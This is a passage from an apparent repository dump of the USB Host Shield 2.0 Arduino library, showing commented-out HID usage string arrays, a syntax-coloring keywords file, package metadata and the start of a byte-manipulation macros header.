t\t\t\t\t,\n//\tpstrUsageACHome\t\t\t\t\t\t,\n//\tpstrUsageACBack\t\t\t\t\t\t,\n//\tpstrUsageACForward\t\t\t\t\t,\n//\tpstrUsageACStop\t\t\t\t\t\t,\n//\tpstrUsageACRefresh\t\t\t\t\t,\n//\tpstrUsageACPreviousLink\t\t\t\t,\n//\tpstrUsageACNextLink\t\t\t\t\t,\n//\tpstrUsageACBookmarks\t\t\t\t,\n//\tpstrUsageACHistory\t\t\t\t\t,\n//\tpstrUsageACSubscriptions\t\t\t,\n//\tpstrUsageACZoomIn\t\t\t\t\t,\n//\tpstrUsageACZoomOut\t\t\t\t\t,\n//\tpstrUsageACZoom\t\t\t\t\t\t,\n//\tpstrUsageACFullScreenView\t\t\t,\n//\tpstrUsageACNormalView\t\t\t\t,\n//\tpstrUsageACViewToggle\t\t\t\t,\n//\tpstrUsageACScrollUp\t\t\t\t\t,\n//\tpstrUsageACScrollDown\t\t\t\t,\n//\tpstrUsageACScroll\t\t\t\t\t,\n//\tpstrUsageACPanLeft\t\t\t\t\t,\n//\tpstrUsageACPanRight\t\t\t\t\t,\n//\tpstrUsageACPan\t\t\t\t\t\t,\n//\tpstrUsageACNewWindow\t\t\t\t,\n//\tpstrUsageACTileHoriz\t\t\t\t,\n//\tpstrUsageACTileVert\t\t\t\t\t,\n//\tpstrUsageACFormat\t\t\t\t\t,\n//\tpstrUsageACEdit\t\t\t\t\t\t,\n//\tpstrUsageACBold\t\t\t\t\t\t,\n//\tpstrUsageACItalics\t\t\t\t\t,\n//\tpstrUsageACUnderline\t\t\t\t,\n//\tpstrUsageACStrikethrough\t\t\t,\n//\tpstrUsageACSubscript\t\t\t\t,\n//\tpstrUsageACSuperscript\t\t\t\t,\n//\tpstrUsageACAllCaps\t\t\t\t\t,\n//\tpstrUsageACRotate\t\t\t\t\t,\n//\tpstrUsageACResize\t\t\t\t\t,\n//\tpstrUsageACFlipHorizontal\t\t\t,\n//\tpstrUsageACFlipVertical\t\t\t\t,\n//\tpstrUsageACMirrorHorizontal\t\t\t,\n//\tpstrUsageACMirrorVertical\t\t\t,\n//\tpstrUsageACFontSelect\t\t\t\t,\n//\tpstrUsageACFontColor\t\t\t\t,\n//\tpstrUsageACFontSize\t\t\t\t\t,\n//\tpstrUsageACJustifyLeft\t\t\t\t,\n//\tpstrUsageACJustifyCenterH\t\t\t,\n//\tpstrUsageACJustifyRight\t\t\t\t,\n//\tpstrUsageACJustifyBlockH\t\t\t,\n//\tpstrUsageACJustifyTop\t\t\t\t,\n//\tpstrUsageACJustifyCenterV\t\t\t,\n//\tpstrUsageACJustifyBottom\t\t\t,\n//\tpstrUsageACJustifyBlockV\t\t\t,\n//\tpstrUsageACIndentDecrease\t\t\t,\n//\tpstrUsageACIndentIncrease\t\t\t,\n//\tpstrUsageACNumberedList\t\t\t\t,\n//\tpstrUsageACRestartNumbering\t\t\t,\n//\tpstrUsageACBulletedList\t\t\t\t,\n//\tpstrUsageACPromote\t\t\t\t\t,\n//\tpstrUsageACDemote\t\t\t\t\t,\n//\tpstrUsageACYes\t\t\t\t\t\t,\n//\tpstrUsageACNo\t\t\t\t\t\t,\n//\tpstrUsageACCancel\t\t\t\t\t,\n//\tpstrUsageACCatalog\t\t\t\t\t,\n//\tpstrUsageACBuyChkout\t\t\t\t,\n//\tpstrUsageACAddToCart\t\t\t\t,\n//\tpstrUsageACExpand\t\t\t\t\t,\n//\tpstrUsageACExpandAll\t\t\t\t,\n//\tpstrUsageACCollapse\t\t\t\t\t,\n//\tpstrUsageACCollapseAll\t\t\t\t,\n//\tpstrUsageACPrintPreview\t\t\t\t,\n//\tpstrUsageACPasteSpecial\t\t\t\t,\n//\tpstrUsageACInsertMode\t\t\t\t,\n//\tpstrUsageACDelete\t\t\t\t\t,\n//\tpstrUsageACLock\t\t\t\t\t\t,\n//\tpstrUsageACUnlock\t\t\t\t\t,\n//\tpstrUsageACProtect\t\t\t\t\t,\n//\tpstrUsageACUnprotect\t\t\t\t,\n//\tpstrUsageACAttachComment\t\t\t,\n//\tpstrUsageACDeleteComment\t\t\t,\n//\tpstrUsageACViewComment\t\t\t\t,\n//\tpstrUsageACSelectWord\t\t\t\t,\n//\tpstrUsageACSelectSentence\t\t\t,\n//\tpstrUsageACSelectParagraph\t\t\t,\n//\tpstrUsageACSelectColumn\t\t\t\t,\n//\tpstrUsageACSelectRow\t\t\t\t,\n//\tpstrUsageACSelectTable\t\t\t\t,\n//\tpstrUsageACSelectObject\t\t\t\t,\n//\tpstrUsageACRedoRepeat\t\t\t\t,\n//\tpstrUsageACSort\t\t\t\t\t\t,\n//\tpstrUsageACSortAscending\t\t\t,\n//\tpstrUsageACSortDescending\t\t\t,\n//\tpstrUsageACFilter\t\t\t\t\t,\n//\tpstrUsageACSetClock\t\t\t\t\t,\n//\tpstrUsageACViewClock\t\t\t\t,\n//\tpstrUsageACSelectTimeZone\t\t\t,\n//\tpstrUsageACEditTimeZone\t\t\t\t,\n//\tpstrUsageACSetAlarm\t\t\t\t\t,\n//\tpstrUsageACClearAlarm\t\t\t\t,\n//\tpstrUsageACSnoozeAlarm\t\t\t\t,\n//\tpstrUsageACResetAlarm\t\t\t\t,\n//\tpstrUsageACSyncronize\t\t\t\t,\n//\tpstrUsageACSendReceive\t\t\t\t,\n//\tpstrUsageACSendTo\t\t\t\t\t,\n//\tpstrUsageACReply\t\t\t\t\t,\n//\tpstrUsageACReplyAll\t\t\t\t\t,\n//\tpstrUsageACForwardMessage\t\t\t,\n//\tpstrUsageACSend\t\t\t\t\t\t,\n//\tpstrUsageACAttachFile\t\t\t\t,\n//\tpstrUsageACUpload\t\t\t\t\t,\n//\tpstrUsageACDownload\t\t\t\t\t,\n//\tpstrUsageACSetBorders\t\t\t\t,\n//\tpstrUsageACInsertRow\t\t\t\t,\n//\tpstrUsageACInsertColumn\t\t\t\t,\n//\tpstrUsageACInsertFile\t\t\t\t,\n//\tpstrUsageACInsertPicture\t\t\t,\n//\tpstrUsageACInsertObject\t\t\t\t,\n//\tpstrUsageACInsertSymbol\t\t\t\t,\n//\tpstrUsageACSaveAndClose\t\t\t\t,\n//\tpstrUsageACRename\t\t\t\t\t,\n//\tpstrUsageACMerge\t\t\t\t\t,\n//\tpstrUsageACSplit\t\t\t\t\t,\n//\tpstrUsageACDistributeHorizontaly\t,\n//\tpstrUsageACDistributeVerticaly\n//};\n//const char *digitTitles0[] PROGMEM =\n//{\n//\tpstrUsageDigitizer\t\t\t\t\t,\n//\tpstrUsagePen\t\t\t\t\t\t,\n//\tpstrUsageLightPen\t\t\t\t\t,\n//\tpstrUsageTouchScreen\t\t\t\t,\n//\tpstrUsageTouchPad\t\t\t\t\t,\n//\tpstrUsageWhiteBoard\t\t\t\t\t,\n//\tpstrUsageCoordinateMeasuringMachine\t,\n//\tpstrUsage3DDigitizer\t\t\t\t,\n//\tpstrUsageStereoPlotter\t\t\t\t,\n//\tpstrUsageArticulatedArm\t\t\t\t,\n//\tpstrUsageArmature\t\t\t\t\t,\n//\tpstrUsageMultiplePointDigitizer\t\t,\n//\tpstrUsageFreeSpaceWand\n//};\n//const char *digitTitles1[] PROGMEM =\n//{\n//\tpstrUsageStylus\t\t\t\t\t\t,\n//\tpstrUsagePuck\t\t\t\t\t\t,\n//\tpstrUsageFinger\n//\n//};\n//const char *digitTitles2[] PROGMEM =\n//{\n//\tpstrUsageTipPressure\t\t\t,\n//\tpstrUsageBarrelPressure\t\t\t,\n//\tpstrUsageInRange\t\t\t\t,\n//\tpstrUsageTouch\t\t\t\t\t,\n//\tpstrUsageUntouch\t\t\t\t,\n//\tpstrUsageTap\t\t\t\t\t,\n//\tpstrUsageQuality\t\t\t\t,\n//\tpstrUsageDataValid\t\t\t\t,\n//\tpstrUsageTransducerIndex\t\t,\n//\tpstrUsageTabletFunctionKeys\t\t,\n//\tpstrUsageProgramChangeKeys\t\t,\n//\tpstrUsageBatteryStrength\t\t,\n//\tpstrUsageInvert\t\t\t\t\t,\n//\tpstrUsageXTilt\t\t\t\t\t,\n//\tpstrUsageYTilt\t\t\t\t\t,\n//\tpstrUsageAzimuth\t\t\t\t,\n//\tpstrUsageAltitude\t\t\t\t,\n//\tpstrUsageTwist\t\t\t\t\t,\n//\tpstrUsageTipSwitch\t\t\t\t,\n//\tpstrUsageSecondaryTipSwitch\t\t,\n//\tpstrUsageBarrelSwitch\t\t\t,\n//\tpstrUsageEraser\t\t\t\t\t,\n//\tpstrUsageTabletPick\n//};\n//const char *aplphanumTitles0[]\tPROGMEM =\n//{\n//\tpstrUsageAlphanumericDisplay,\n//\tpstrUsageBitmappedDisplay\n//};\n//const char *aplphanumTitles1[]\tPROGMEM =\n//{\n//\tpstrUsageDisplayAttributesReport\t,\n//\tpstrUsageASCIICharacterSet\t\t\t,\n//\tpstrUsageDataReadBack\t\t\t\t,\n//\tpstrUsageFontReadBack\t\t\t\t,\n//\tpstrUsageDisplayControlReport\t\t,\n//\tpstrUsageClearDisplay\t\t\t\t,\n//\tpstrUsageDisplayEnable\t\t\t\t,\n//\tpstrUsageScreenSaverDelay\t\t\t,\n//\tpstrUsageScreenSaverEnable\t\t\t,\n//\tpstrUsageVerticalScroll\t\t\t\t,\n//\tpstrUsageHorizontalScroll\t\t\t,\n//\tpstrUsageCharacterReport\t\t\t,\n//\tpstrUsageDisplayData\t\t\t\t,\n//\tpstrUsageDisplayStatus\t\t\t\t,\n//\tpstrUsageStatusNotReady\t\t\t\t,\n//\tpstrUsageStatusReady\t\t\t\t,\n//\tpstrUsageErrorNotALoadableCharacter\t,\n//\tpstrUsageErrorFotDataCanNotBeRead\t,\n//\tpstrUsageCursorPositionReport\t\t,\n//\tpstrUsageRow\t\t\t\t\t\t,\n//\tpstrUsageColumn\t\t\t\t\t\t,\n//\tpstrUsageRows\t\t\t\t\t\t,\n//\tpstrUsageColumns\t\t\t\t\t,\n//\tpstrUsageCursorPixelPosition\t\t,\n//\tpstrUsageCursorMode\t\t\t\t\t,\n//\tpstrUsageCursorEnable\t\t\t\t,\n//\tpstrUsageCursorBlink\t\t\t\t,\n//\tpstrUsageFontReport\t\t\t\t\t,\n//\tpstrUsageFontData\t\t\t\t\t,\n//\tpstrUsageCharacterWidth\t\t\t\t,\n//\tpstrUsageCharacterHeight\t\t\t,\n//\tpstrUsageCharacterSpacingHorizontal\t,\n//\tpstrUsageCharacterSpacingVertical\t,\n//\tpstrUsageUnicodeCharset\t\t\t\t,\n//\tpstrUsageFont7Segment\t\t\t\t,\n//\tpstrUsage7SegmentDirectMap\t\t\t,\n//\tpstrUsageFont14Segment\t\t\t\t,\n//\tpstrUsage14SegmentDirectMap\t\t\t,\n//\tpstrUsageDisplayBrightness\t\t\t,\n//\tpstrUsageDisplayContrast\t\t\t,\n//\tpstrUsageCharacterAttribute\t\t\t,\n//\tpstrUsageAttributeReadback\t\t\t,\n//\tpstrUsageAttributeData\t\t\t\t,\n//\tpstrUsageCharAttributeEnhance\t\t,\n//\tpstrUsageCharAttributeUnderline\t\t,\n//\tpstrUsageCharAttributeBlink\n//};\n//const char *aplphanumTitles2[]\tPROGMEM =\n//{\n//\tpstrUsageBitmapSizeX\t\t\t\t,\n//\tpstrUsageBitmapSizeY\t\t\t\t,\n//\tpstrUsagePageReserved\t\t\t\t,\n//\tpstrUsageBitDepthFormat\t\t\t\t,\n//\tpstrUsageDisplayOrientation\t\t\t,\n//\tpstrUsagePaletteReport\t\t\t\t,\n//\tpstrUsagePaletteDataSize\t\t\t,\n//\tpstrUsagePaletteDataOffset\t\t\t,\n//\tpstrUsagePaletteData\t\t\t\t,\n//\tpstrUsageBlitReport\t\t\t\t\t,\n//\tpstrUsageBlitRectangleX1\t\t\t,\n//\tpstrUsageBlitRectangleY1\t\t\t,\n//\tpstrUsageBlitRectangleX2\t\t\t,\n//\tpstrUsageBlitRectangleY2\t\t\t,\n//\tpstrUsageBlitData\t\t\t\t\t,\n//\tpstrUsageSoftButton\t\t\t\t\t,\n//\tpstrUsageSoftButtonID\t\t\t\t,\n//\tpstrUsageSoftButtonSide\t\t\t\t,\n//\tpstrUsageSoftButtonOffset1\t\t\t,\n//\tpstrUsageSoftButtonOffset2\t\t\t,\n//\tpstrUsageSoftButtonReport\n//};\n//const char *medInstrTitles0[] PROGMEM =\n//{\n//\tpstrUsageVCRAcquisition\t\t\t\t,\n//\tpstrUsageFreezeThaw\t\t\t\t\t,\n//\tpstrUsageClipStore\t\t\t\t\t,\n//\tpstrUsageUpdate\t\t\t\t\t\t,\n//\tpstrUsageNext\t\t\t\t\t\t,\n//\tpstrUsageSave\t\t\t\t\t\t,\n//\tpstrUsagePrint\t\t\t\t\t\t,\n//\tpstrUsageMicrophoneEnable\n//};\n//const char *medInstrTitles1[] PROGMEM =\n//{\n//\tpstrUsageCine\t\t\t\t\t\t,\n//\tpstrUsageTransmitPower\t\t\t\t,\n//\tpstrUsageVolume\t\t\t\t\t\t,\n//\tpstrUsageFocus\t\t\t\t\t\t,\n//\tpstrUsageDepth\n//};\n//const char *medInstrTitles2[] PROGMEM =\n//{\n//\tpstrUsageSoftStepPrimary\t\t,\n//\tpstrUsageSoftStepSecondary\n//};\n//const char *medInstrTitles3[] PROGMEM =\n//{\n//\tpstrUsageZoomSelect\t\t\t\t\t,\n//\tpstrUsageZoomAdjust\t\t\t\t\t,\n//\tpstrUsageSpectralDopplerModeSelect\t,\n//\tpstrUsageSpectralDopplerModeAdjust\t,\n//\tpstrUsageColorDopplerModeSelect\t\t,\n//\tpstrUsageColorDopplerModeAdjust\t\t,\n//\tpstrUsageMotionModeSelect\t\t\t,\n//\tpstrUsageMotionModeAdjust\t\t\t,\n//\tpstrUsage2DModeSelect\t\t\t\t,\n//\tpstrUsage2DModeAdjust\n//};\n//const char *medInstrTitles4[] PROGMEM =\n//{\n//\tpstrUsageSoftControlSelect\t\t\t,\n//\tpstrUsageSoftControlAdjust\n//};\n\n#endif // __HIDUSAGETITLEARRAYS_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/keywords.txt",
    "content": "####################################################\n# Syntax Coloring Map For USB Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nUSB\tKEYWORD1\nUSBHub\tKEYWORD1\n\n####################################################\n# Syntax Coloring Map For BTD (Bluetooth) Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nBTD\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\nTask\tKEYWORD2\n\n####################################################\n# Syntax Coloring Map For PS3/PS4 Bluetooth/USB Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nPS3BT\tKEYWORD1\nPS3USB\tKEYWORD1\nPS4BT\tKEYWORD1\nPS4USB\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\nsetBdaddr\tKEYWORD2\ngetBdaddr\tKEYWORD2\nsetMoveBdaddr\tKEYWORD2\ngetMoveBdaddr\tKEYWORD2\ngetMoveCalibration\tKEYWORD2\n\ngetButtonPress\tKEYWORD2\ngetButtonClick\tKEYWORD2\ngetAnalogButton\tKEYWORD2\ngetAnalogHat\tKEYWORD2\ngetSensor\tKEYWORD2\ngetAngle\tKEYWORD2\nget9DOFValues\tKEYWORD2\ngetStatus\tKEYWORD2\nprintStatusString\tKEYWORD2\ngetTemperature\tKEYWORD2\ndisconnect\tKEYWORD2\n\nsetAllOff\tKEYWORD2\nsetRumbleOff\tKEYWORD2\nsetRumbleOn\tKEYWORD2\nsetLedOff\tKEYWORD2\nsetLedOn\tKEYWORD2\nsetLedToggle\tKEYWORD2\nsetLedFlash\tKEYWORD2\nmoveSetBulb\tKEYWORD2\nmoveSetRumble\tKEYWORD2\n\nattachOnInit\tKEYWORD2\n\nPS3Connected\tKEYWORD2\nPS3MoveConnected\tKEYWORD2\nPS3NavigationConnected\tKEYWORD2\n\nisReady\tKEYWORD2\nwaitingForConnection\tKEYWORD2\n\nisTouching\tKEYWORD2\ngetX\tKEYWORD2\ngetY\tKEYWORD2\ngetTouchCounter\tKEYWORD2\n\ngetUsbStatus    KEYWORD2\ngetAudioStatus  KEYWORD2\ngetMicStatus    KEYWORD2\n\n####################################################\n# Constants and enums (LITERAL1)\n####################################################\nOFF\tLITERAL1\nLED1\tLITERAL1\nLED2\tLITERAL1\nLED3\tLITERAL1\nLED4\tLITERAL1\nLED5\tLITERAL1\nLED6\tLITERAL1\nLED7\tLITERAL1\nLED8\tLITERAL1\nLED9\tLITERAL1\nLED10\tLITERAL1\n\nRed\tLITERAL1\nGreen\tLITERAL1\nBlue\tLITERAL1\nYellow\tLITERAL1\nLightblue\tLITERAL1\nPurple  LITERAL1\nPurble\tLITERAL1\nWhite\tLITERAL1\nOff\tLITERAL1\n\nSELECT\tLITERAL1\nL3\tLITERAL1\nR3\tLITERAL1\nSTART\tLITERAL1\nUP\tLITERAL1\nRIGHT\tLITERAL1\nDOWN\tLITERAL1\nLEFT\tLITERAL1\nL2\tLITERAL1\nR2\tLITERAL1\nL1\tLITERAL1\nR1\tLITERAL1\nTRIANGLE\tLITERAL1\nCIRCLE\tLITERAL1\nCROSS\tLITERAL1\nSQUARE\tLITERAL1\nPS\tLITERAL1\nMOVE\tLITERAL1\nT\tLITERAL1\n\nSHARE\tLITERAL1\nOPTIONS\tLITERAL1\nTOUCHPAD\tLITERAL1\n\nLeftHatX\tLITERAL1\nLeftHatY\tLITERAL1\nRightHatX\tLITERAL1\nRightHatY\tLITERAL1\n\naX\tLITERAL1\naY\tLITERAL1\naZ\tLITERAL1\ngX\tLITERAL1\ngY\tLITERAL1\ngZ\tLITERAL1\naXmove\tLITERAL1\naYmove\tLITERAL1\naZmove\tLITERAL1\ngXmove\tLITERAL1\ngYmove\tLITERAL1\ngZmove\tLITERAL1\ntempMove\tLITERAL1\nmXmove\tLITERAL1\nmZmove\tLITERAL1\nmYmove\tLITERAL1\n\nPitch\tLITERAL1\nRoll\tLITERAL1\n\nPlugged\tLITERAL1\nUnplugged\tLITERAL1\nCharging\tLITERAL1\nNotCharging\tLITERAL1\nShutdown\tLITERAL1\nDying\tLITERAL1\nLow\tLITERAL1\nHigh\tLITERAL1\nFull\tLITERAL1\nMoveCharging\tLITERAL1\nMoveNotCharging\tLITERAL1\nMoveShutdown\tLITERAL1\nMoveDying\tLITERAL1\nMoveLow\tLITERAL1\nMoveHigh\tLITERAL1\nMoveFull\tLITERAL1\nCableRumble\tLITERAL1\nCable\tLITERAL1\nBluetoothRumble\tLITERAL1\nBluetooth\tLITERAL1\n\nRumbleHigh\tLITERAL1\nRumbleLow\tLITERAL1\n\n####################################################\n# Syntax Coloring Map For Xbox 360 Libraries\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nXBOXUSB\tKEYWORD1\nXBOXONE\tKEYWORD1\nXBOXOLD\tKEYWORD1\nXBOXRECV\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\n\nsetLedRaw\tKEYWORD2\nsetLedBlink\tKEYWORD2\nsetLedMode\tKEYWORD2\ngetBatteryLevel\tKEYWORD2\nbuttonChanged\tKEYWORD2\n\nXboxReceiverConnected\tKEYWORD2\nXbox360Connected\tKEYWORD2\nXboxOneConnected\tKEYWORD2\n\n####################################################\n# Constants and enums (LITERAL1)\n####################################################\n\nALL\tLITERAL1\n\nROTATING\tLITERAL1\nFASTBLINK\tLITERAL1\nSLOWBLINK\tLITERAL1\nALTERNATING\tLITERAL1\n\nBACK\tLITERAL1\n\nXBOX\tLITERAL1\nSYNC\tLITERAL1\n\nBLACK\tLITERAL1\nWHITE\tLITERAL1\n\nA\tLITERAL1\nB\tLITERAL1\nX\tLITERAL1\nY\tLITERAL1\n\n####################################################\n# Syntax Coloring Map For RFCOMM/SPP Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nSPP\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\n\nconnected\tKEYWORD2\ndiscard\tKEYWORD2\n\n####################################################\n# Syntax Coloring Map For Wiimote Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nWII\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\n\nwiimoteConnected\tKEYWORD2\nnunchuckConnected\tKEYWORD2\nmotionPlusConnected\tKEYWORD2\nwiiUProControllerConnected\tKEYWORD2\nwiiBalanceBoardConnected\tKEYWORD2\nsetRumbleToggle\tKEYWORD2\ngetPitch\tKEYWORD2\ngetRoll\tKEYWORD2\ngetYaw\tKEYWORD2\ngetWiimotePitch\tKEYWORD2\ngetWiimoteRoll\tKEYWORD2\ngetNunchuckPitch\tKEYWORD2\ngetNunchuckRoll\tKEYWORD2\nPAIR\tKEYWORD2\nstatusRequest\tKEYWORD2\ngetBatteryLevel\tKEYWORD2\ngetWiiState\tKEYWORD2\ngetWeight\tKEYWORD2\ngetTotalWeight\tKEYWORD2\ngetWeightRaw\tKEYWORD2\n\n####################################################\n# Constants and enums (LITERAL1)\n####################################################\n\nPLUS\tLITERAL1\nMINUS\tLITERAL1\nONE\tLITERAL1\nTWO\tLITERAL1\nHOME\tLITERAL1\nZ\tLITERAL1\nC\tLITERAL1\nL\tLITERAL1\nR\tLITERAL1\nZL\tLITERAL1\nZR\tLITERAL1\nHatX\tLITERAL1\nHatY\tLITERAL1\nTopRight\tLITERAL1\nBotRight\tLITERAL1\nTopLeft\tLITERAL1\nBotLeft\tLITERAL1\n\n####################################################\n# Methods and Functions for the IR Camera\n####################################################\n\nIRinitialize\tKEYWORD2\nisIRCameraEnabled\tKEYWORD2\ngetIRx1\tKEYWORD2\ngetIRy1\tKEYWORD2\ngetIRs1\tKEYWORD2\ngetIRx2\tKEYWORD2\ngetIRy2\tKEYWORD2\ngetIRs2\tKEYWORD2\ngetIRx3\tKEYWORD2\ngetIRy3\tKEYWORD2\ngetIRs3\tKEYWORD2\ngetIRx4\tKEYWORD2\ngetIRy4\tKEYWORD2\ngetIRs4\tKEYWORD2\n\n####################################################\n# Syntax Coloring Map For BTHID Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nBTHID\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\nSetReportParser\tKEYWORD2\nsetProtocolMode\tKEYWORD2\n\n####################################################\n# Syntax Coloring Map For PS Buzz Library\n####################################################\n\n####################################################\n# Datatypes (KEYWORD1)\n####################################################\n\nPSBuzz\tKEYWORD1\n\n####################################################\n# Methods and Functions (KEYWORD2)\n####################################################\n\nsetLedOnAll\tKEYWORD2\nsetLedOffAll\tKEYWORD2\n\n####################################################\n# Constants and enums (LITERAL1)\n####################################################\n\nRED\tLITERAL1\nYELLOW\tLITERAL1\nGREEN\tLITERAL1\nORANGE\tLITERAL1\nBLUE\tLITERAL1\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/library.json",
    "content": "{\n  \"name\": \"USB-Host-Shield-20\",\n  \"keywords\": \"usb, host, ftdi, adk, acm, pl2303, hid, bluetooth, spp, ps3, ps4, buzz, xbox, wii, mass storage\",\n  \"description\": \"Revision 2.0 of MAX3421E-based USB Host Shield Library\",\n  \"authors\":\n  [\n    {\n      \"name\": \"Oleg Mazurov\",\n      \"email\": \"mazurov@circuitsathome.com\",\n      \"url\": \"http://www.circuitsathome.com\",\n      \"maintainer\": true\n    },\n    {\n      \"name\": \"Alexei Glushchenko\",\n      \"email\": \"alex-gl@mail.ru\"\n    },\n    {\n      \"name\": \"Kristian Lauszus\",\n      \"email\": \"kristianl@tkjelectronics.com\",\n      \"url\": \"http://tkjelectronics.com\",\n      \"maintainer\": true\n    },\n    {\n      \"name\": \"Andrew Kroll\",\n      \"email\": \"xxxajk@gmail.com\",\n      \"maintainer\": true\n    }\n  ],\n  \"repository\":\n  {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/felis/USB_Host_Shield_2.0.git\"\n  },\n  \"version\": \"1.3.2\",\n  \"license\": \"GPL-2.0\",\n  \"examples\":\n  [\n    \"examples/*/*.ino\",\n    \"examples/*/*/*.ino\"\n  ],\n  \"frameworks\":\n  [\n    \"arduino\",\n    \"spl\"\n  ],\n  \"platforms\":\n  [\n    \"atmelavr\",\n    \"intel_arc32\",\n    \"teensy\",\n    \"atmelsam\",\n    \"nordicnrf51\",\n    \"ststm32\",\n    \"espressif8266\",\n    \"espressif32\"\n  ]\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/library.properties",
    "content": "name=USB Host Shield Library 2.0\nversion=1.3.2\nauthor=Oleg Mazurov (Circuits@Home) <mazurov@circuitsathome.com>, Kristian Lauszus (TKJ Electronics) <kristianl@tkjelectronics.com>, Andrew Kroll <xxxajk@gmail.com>, Alexei Glushchenko (Circuits@Home) <alex-gl@mail.ru>\nmaintainer=Oleg Mazurov (Circuits@Home) <mazurov@circuitsathome.com>, Kristian Lauszus (TKJ Electronics) <kristianl@tkjelectronics.com>, Andrew Kroll <xxxajk@gmail.com>\nsentence=Revision 2.0 of MAX3421E-based USB Host Shield Library.\nparagraph=Supports HID devices, FTDI, ADK, ACM, PL2303, Bluetooth HID devices, SPP communication and mass storage devices. Furthermore it supports PS3, PS4, PS Buzz, Wii and Xbox controllers.\ncategory=Other\nurl=https://github.com/felis/USB_Host_Shield_2.0\narchitectures=*\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/macros.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(MACROS_H)\n#error \"Never include macros.h directly; include Usb.h instead\"\n#else\n#define MACROS_H\n\n////////////////////////////////////////////////////////////////////////////////\n// HANDY MACROS\n////////////////////////////////////////////////////////////////////////////////\n\n#define VALUE_BETWEEN(v,l,h) (((v)>(l)) && ((v)<(h)))\n#define VALUE_WITHIN(v,l,h) (((v)>=(l)) && ((v)<=(h)))\n#define output_pgm_message(wa,fp,mp,el) wa = &mp, fp((char *)pgm_read_pointer(wa), el)\n#define output_if_between(v,l,h,wa,fp,mp,el) if(VALUE_BETWEEN(v,l,h)) output_pgm_message(wa,fp,mp[v-(l+1)],el);\n\n#define SWAP(a, b) (((a) ^= (b)), ((b) ^= (a)), ((a) ^= (b)))\n#ifndef __BYTE_GRABBING_DEFINED__\n#define __BYTE_GRABBING_DEFINED__ 1\n#ifdef BROKEN_OPTIMIZER_LITTLE_ENDIAN\n// Note: Use this if your compiler generates horrible assembler!\n#define BGRAB0(__usi__)  (((uint8_t *)&(__usi__))[0])\n#define BGRAB1(__usi__)  (((uint8_t *)&(__usi__))[1])\n#define BGRAB2(__usi__)  (((uint8_t *)&(__usi__))[2])\n#define BGRAB3(__usi__)  (((uint8_t *)&(__usi__))[3])\n#define BGRAB4(__usi__)  (((uint8_t *)&(__usi__))[4])\n#define BGRAB5(__usi__)  (((uint8_t *)&(__usi__))[5])\n#define BGRAB6(__usi__)  (((uint8_t *)&(__usi__))[6])\n#define BGRAB7(__usi__)  (((uint8_t *)&(__usi__))[7])\n#else\n// Note: The cast alone to uint8_t is actually enough.\n// GCC throws out the \"& 0xff\", and the size is no different.\n// Some compilers need it.\n#define BGRAB0(__usi__)  ((uint8_t)((__usi__) & 0xff ))\n#define BGRAB1(__usi__)  ((uint8_t)(((__usi__) >> 8) & 0xff))\n#define BGRAB2(__usi__)  ((uint8_t)(((__usi__) >> 16) & 0xff))\n#define BGRAB3(__usi__)  ((uint8_t)(((__usi__) >> 24) & 0xff))\n#define BGRAB4(__usi__)  ((uint8_t)(((__usi__) >> 32) & 0xff))\n#define BGRAB5(__usi__)  ((uint8_t)(((__usi__) >> 40) & 0xff))\n#define BGRAB6(__usi__)  ((uint8_t)(((__usi__) >> 48) & 0xff))\n#define BGRAB7(__usi__)  ((uint8_t)(((__usi__) >> 56) & 0xff))\n#endif\n#define BOVER1(__usi__)  ((uint16_t)(__usi__) << 8)\n#define BOVER2(__usi__)  ((uint32_t)(__usi__) << 16)\n#define BOVER3(__usi__)  ((uint32_t)(__usi__) << 24)\n#define BOVER4(__usi__)  ((uint64_t)(__usi__) << 32)\n#define BOVER5(__usi__)  ((uint64_t)(__usi__) << 40)\n#define BOVER6(__usi__)  ((uint64_t)(__usi__) << 48)\n#define BOVER7(__usi__)  ((uint64_t)(__usi__) << 56)\n\n// These are the smallest and fastest ways I have found so far in pure C/C++.\n#define BMAKE16(__usc1__,__usc0__) ((uint16_t)((uint16_t)(__usc0__) | (uint16_t)BOVER1(__usc1__)))\n#define BMAKE32(__usc3__,__usc2__,__usc1__,__usc0__) ((uint32_t)((uint32_t)(__usc0__) | (uint32_t)BOVER1(__usc1__) | (uint32_t)BOVER2(__usc2__) | (uint32_t)BOVER3(__usc3__)))\n#define BMAKE64(__usc7__,__usc6__,__usc5__,__usc4__,__usc3__,__usc2__,__usc1__,__usc0__) ((uint64_t)((uint64_t)__usc0__ | (uint64_t)BOVER1(__usc1__) | (uint64_t)BOVER2(__usc2__) | 